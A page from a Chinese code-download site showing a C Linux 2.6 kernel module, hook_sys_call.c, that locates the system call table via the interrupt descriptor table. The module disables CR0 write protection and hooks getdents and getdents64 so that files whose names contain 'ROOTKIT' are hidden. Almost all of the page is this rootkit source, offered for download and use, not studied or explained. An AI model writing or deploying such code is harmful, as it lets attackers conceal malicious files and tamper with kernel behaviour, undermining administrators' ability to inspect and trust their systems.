⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 hook_sys_call.c

📁 Linux 2.6 内核下劫持系统调用
💻 C
字号:
/* * 新版本下的Hook演示: * 		隐藏文件名中包含 HIDE_FILE 定义字样的文件 * * 写系统调用表前要清CR0内存保护位,否则会发生段错误 * * 在 Fedora Core 8 上开发,Linux内核版本:2.6.25.4 * */#include <linux/init.h>#include <linux/module.h>#include <linux/kernel.h>#include <linux/types.h>#include <linux/stddef.h>#include <linux/unistd.h>#include <linux/version.h>#include <linux/string.h>#include <linux/mm.h>#include <linux/slab.h>#include <linux/sched.h>#include <linux/in.h>#include <linux/skbuff.h>#include <linux/netdevice.h>#include <linux/dirent.h>#include <asm/processor.h>#include <asm/uaccess.h>#include <asm/unistd.h>#include <linux/proc_fs.h>#define HIDE_FILE "ROOTKIT"struct idt_descriptor {	unsigned short off_low;	unsigned short sel;	unsigned char none, flags;	unsigned short off_high;};void ** sys_call_table;void *get_system_call(void) {	unsigned char idtr[6];	unsigned long base;	struct idt_descriptor desc;	asm ("sidt %0" : "=m" (idtr));	base = *((unsigned long *) &idtr[2]);	// 中断描述符表的第0x80项是system_call函数的	memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc));	return ((void *) ((desc.off_high << 16) + desc.off_low));}void *get_sys_call_table(void *system_call) {	unsigned char *p;	p = (unsigned char *) system_call;	while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))		p++;	p += 3;	return ((void *) *((unsigned long *) p));}asmlinkage long (*old_getdents)(unsigned int fd, struct dirent *dirp,		unsigned int count);asmlinkage long (*old_getdents64)(unsigned int fd, struct dirent64 *dirp,		unsigned int count);asmlinkage long new_getdents(unsigned int fd, struct dirent *dirp,		unsigned int count) {	struct dirent *td1, *td2;	long ret, tmp;	unsigned long nwarm;	short int move_flag;	//printk("Hooked function new_getdents64\n");	// 调用原始的系统调用,下面对返回结果进行过滤	ret = (*old_getdents)(fd, dirp, count);	if (!ret)		return (ret);	// 分配内核空间,并把用户空间的数据拷贝到内核空间	td2 = (struct dirent *) kmalloc(ret, GFP_KERNEL);	__copy_from_user(td2, dirp, ret);	td1 = td2, tmp = ret;	while (tmp > 0) {		tmp -= td1->d_reclen;		move_flag = 1;		if (strstr(td1->d_name, HIDE_FILE) != NULL) {			//printk("Here i find the string %s\n", td1->d_name);			// 在这里清除相关的信息			ret -= td1->d_reclen;			move_flag = 0;			if (tmp)				memmove(td1, (char *) td1 + td1->d_reclen, tmp);		}		if ((tmp) && (move_flag))			td1 = (struct dirent *) ((char *) td1 + td1->d_reclen);	}	// 将过滤后的数据拷贝回用户空间	nwarm = __copy_to_user((void *) dirp, (void *) td2, ret);	kfree(td2);	return (ret);}asmlinkage long new_getdents64(unsigned int fd, struct dirent64 *dirp,		unsigned int count) {	struct dirent64 *td1, *td2;	long ret, tmp;	unsigned long nwarm;	short int move_flag;	//printk("Hooked function new_getdents64\n");	// 调用原始的系统调用,下面对返回结果进行过滤	ret = (*old_getdents64)(fd, dirp, count);	if (!ret)		return (ret);	// 分配内核空间,并把用户空间的数据拷贝到内核空间	td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL);	__copy_from_user(td2, dirp, ret);	td1 = td2, tmp = ret;	while (tmp > 0) {		tmp -= td1->d_reclen;		move_flag = 1;		if (strstr(td1->d_name, HIDE_FILE) != NULL) {			//printk("Here i find the string %s\n", td1->d_name);			// 在这里清除相关的信息			ret -= td1->d_reclen;			move_flag = 0;			if (tmp)				memmove(td1, (char *) td1 + td1->d_reclen, tmp);		}		if ((tmp) && (move_flag))			td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen);	}	// 将过滤后的数据拷贝回用户空间	nwarm = __copy_to_user((void *) dirp, (void *) td2, ret);	kfree(td2);	return (ret);}// Windwos下恢复SSDT也是这么做的:清保护位;写;恢复保护位void clear_cr0bit17(void){	asm ("pushl %eax \n"		"movl %cr0, %eax  \n"		"andl $0x0fffeffff, %eax  \n"		"movl %eax, %cr0 \n"		"popl %eax");}void reset_cr0bit17(void){	asm ("pushl %eax \n"		"movl %cr0, %eax \n"		"orl $0x10000, %eax \n"		"movl %eax, %cr0 \n"		"popl %eax");}static int __init init_hook(void){	void *system_call;	system_call = get_system_call();	sys_call_table = get_sys_call_table(system_call);	printk("Address of system_call: %x\n", (unsigned int)system_call);	printk("Address of sys_call_table: %x\n", (unsigned int)sys_call_table);	old_getdents = sys_call_table[__NR_getdents];	old_getdents64 = sys_call_table[__NR_getdents64];	clear_cr0bit17();	sys_call_table[__NR_getdents] = new_getdents;	sys_call_table[__NR_getdents64] = new_getdents64;	reset_cr0bit17();	return 0;}static void __exit exit_hook(void){	clear_cr0bit17();	sys_call_table[__NR_getdents] = old_getdents;	sys_call_table[__NR_getdents64] = old_getdents64;	reset_cr0bit17();}module_init(init_hook);module_exit(exit_hook);MODULE_LICENSE("GPL");

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -